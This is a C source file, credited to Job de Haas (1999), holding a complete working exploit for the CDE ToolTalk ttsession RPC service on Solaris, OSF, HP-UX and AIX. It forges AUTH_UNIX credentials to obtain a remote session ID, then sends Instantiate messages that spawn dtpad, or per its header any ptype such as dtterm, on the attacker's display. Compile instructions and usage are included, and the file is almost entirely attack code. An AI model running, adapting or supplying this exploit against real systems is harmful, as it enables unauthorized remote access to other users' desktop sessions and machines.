/*
 * ttjamsession.c
 * Job de Haas
 * (c) ITSX bv 1999
 *
 * Solaris 7, 2.6, 2.5.1
 * OSF v4.0
 * HP-UX B.10.20
 * AIX 2 4 000096754200
 *
 * This is a simple ttsession exploit to show some problems with
 * authentication of a remote user. The possibilities after authentication
 * are not limited to starting dtpad, but rather any ptype as can be shown
 * with tt_type_comp. On Solaris this includes dtterm.
 *
 * compile with:
 * cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
 *    ttjamsession.c -o ttjamsession
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>

#include <Tt/tt_c.h>
#include <Tt/tttk.h>

#define TTSESSION_PROG      1342177279
#define TTSESSION_PROG_SOL7 1289637086
#define TTSESSION_VERS      3
#define TTSESSION_GETSESSID 400

long rpcprog = TTSESSION_PROG;
int  version = TTSESSION_VERS;
long uid = -1;
int use_env = 0;
int test = 0;

/*
 * For some reason the string is not returned with xdr_wrapstring. After
 * some fiddling this seems to work.
 *
 */
xdr_mystring(xdrs, objp)
register XDR *xdrs;
char **objp;
{
  int	len;

  if (!xdr_int(xdrs, &len))
    {
      return 0;
    }

  *objp =  (char *)malloc(len + 1);
  if (xdr_opaque(xdrs, (caddr_t)*objp, len))
    {
      (*objp)[len] = '\0';
    }
  else
    {
      return 0;
    }

  return(1);
}


/*
 * This is some generated code by ttsnoop (nice program! at least on sol 2.6)
 * It was modified a bit to get it to spawn the program on the correct display
 */

Tt_callback_action
process_Instantiate_reply( Tt_message msg, Tt_message pat );

Tt_message
create_Instantiate(
  Tt_message context,
  char *action
)
{
  Tt_message msg;
  msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
                             0, action,
                             (Tt_message_callback)process_Instantiate_reply );
  tt_message_arg_add( msg, TT_IN, "data", "data");
  tt_message_context_set( msg, "$DISPLAY",  getenv("DISPLAY"));
  tt_message_disposition_set( msg, TT_START);
  tt_message_handler_ptype_set( msg, "DTPAD");
  return msg;
}

static Tt_callback_action
process_Instantiate_reply(
  Tt_message msg,
  Tt_message pat
)
{
  switch (tt_message_state(msg))
    {
    case TT_SENT:	/* handler is in this process */
    case TT_STARTED:/* intermediate state */
    case TT_QUEUED:	/* intermediate state */
    default:	/* unknown state */
      return TT_CALLBACK_CONTINUE;
    case TT_HANDLED:
      /* ... */
      break;
    case TT_FAILED:
      {
        int status;
        char *string;
        status = tt_message_status( msg );
        string = tt_message_status_string( msg );

        printf("message failed with: %s\n",string);
        /* ... */
      }
      break;
    }
  tt_message_destroy( msg );
  return TT_CALLBACK_PROCESSED;
}

/*
 * The routine to get the remote sessionid string.
 *
 */
int
get_sessionid( remotehost, port)
char *remotehost;
ushort port;
{
  struct sockaddr_in  server_addr;
  enum clnt_stat      clnt_stat;
  struct hostent      *hp;
  struct timeval      timeout;
  CLIENT              *clnt;
  int                 msock;
  char 	            *buf;
  char                *env;
  char                *hostname;
  char                localhost[MAXHOSTNAMELEN];

  memset((char *)&server_addr, 0, sizeof (server_addr));

  if (remotehost)
    {
      server_addr.sin_family = AF_INET;
      server_addr.sin_addr.s_addr = inet_addr(remotehost);
      if ( server_addr.sin_addr.s_addr == -1 )
        {
          if ((hp = gethostbyname(remotehost)) == NULL)
            {
              printf("Can't resolve %s\n",remotehost);
              exit(1);
            }
          memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
          hostname = strdup( remotehost );
        }
    }
  else
    {
      if (gethostname(localhost, MAXHOSTNAMELEN)<0)
        {
          perror("gethostname");
          exit(1);
        }
      if (hp = gethostbyname(localhost))
        {
          memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
          hostname = strdup( localhost );
        }
      else
        {
          server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
          hostname = strdup( "127.0.0.1" );
        }
    }


  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons(port);
  msock = RPC_ANYSOCK;
  timeout.tv_sec = 15;
  timeout.tv_usec = 0;

  if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
                                        TTSESSION_VERS, &msock, 10000, 10000)) == NULL)
    {
      clnt_pcreateerror("clnttcp_create");
      exit(1);
    }

  /*
   * apparently credentials are not checked!
   */
  clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);

  if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
                             (xdrproc_t) xdr_void, (caddr_t) 0,
                             (xdrproc_t) xdr_mystring, (caddr_t) &buf,
                             timeout)) != RPC_SUCCESS)
    {
      clnt_perror(clnt, "get session");
      return(-1);
    }

  /*
   * put TT_SESSION in the environment for tt_open to use.
   */
  env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
  strcpy(env,"TT_SESSION=");
  strcat(env,buf+2);
  putenv( env );

  printf("Session ID: %s\n", buf);

  return(0);
}

usage(progname)
char *progname;
{
  fprintf(stderr,
          "Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
  fprintf(stderr,"        [-7] [-t] [-e] hostname\n");
  fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
  fprintf(stderr,"[-t] test the RPC call but not send messages\n");
  fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
  exit(-1);
}

int main(argc, argv)
int argc;
char **argv;
{
  char *hostname = NULL;
  struct in_addr addr;
  extern  int optind;
  extern  char *optarg;
  short port = 0;
  char c, *cp;
  Tt_message context, msg;
  char *procid;

  while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF)
    {

      switch (c)
        {
        case 'r':
          rpcprog = atoi(optarg);
          break;
        case 'p':
          port = atoi(optarg);
          break;
        case 'u':
          uid = atoi(optarg);
          break;
        case '7':
          rpcprog = TTSESSION_PROG_SOL7;
          break;
        case 'e':
          use_env = 1;
          break;
        case 't':
          test = 1;
          break;
        default:
          usage(argv[0]);
        }
    }

  if (optind < argc)
    {
      hostname = strdup(argv[optind++]);
    }

  if (optind < argc)
    {
      port = atoi(argv[optind++]);
    }

  if (optind < argc)
    {
      usage(argv[0]);
    }

  /* setup the socket and test correct service */
  if ( !use_env && (get_sessionid( hostname, port ) < 0 ))
    {
      printf("Failed to properly connect to ttsession\n");
      exit(1);
    }

  if (test) exit(0);

  /*
   * Open up the channel to ttsession. The code uses the TT_SESSION
   * environment var to figure out how.
   */
  if (((procid = tt_open()) == NULL) || (*procid == '\0'))
    {
      perror("tt_open");
      exit(1);
    }

  /*
   * Now we can send messages... like instantiate a dtpad!
   * Two messages are sent to cause a new dtpad -server to be started
   * so that the dtpad will be displayed on our server even if the local
   * user is also using dtpad. I use sleep cause I can't seem to trigger
   * the callback.
   *
   */
  msg = create_Instantiate(context, NULL);
  tt_message_send(msg);
  sleep(10);
  msg = create_Instantiate(context, "Instantiate");
  tt_message_send(msg);
  sleep(10);

  /* no idea if I got to wait for the callback */

  exit(0);
}
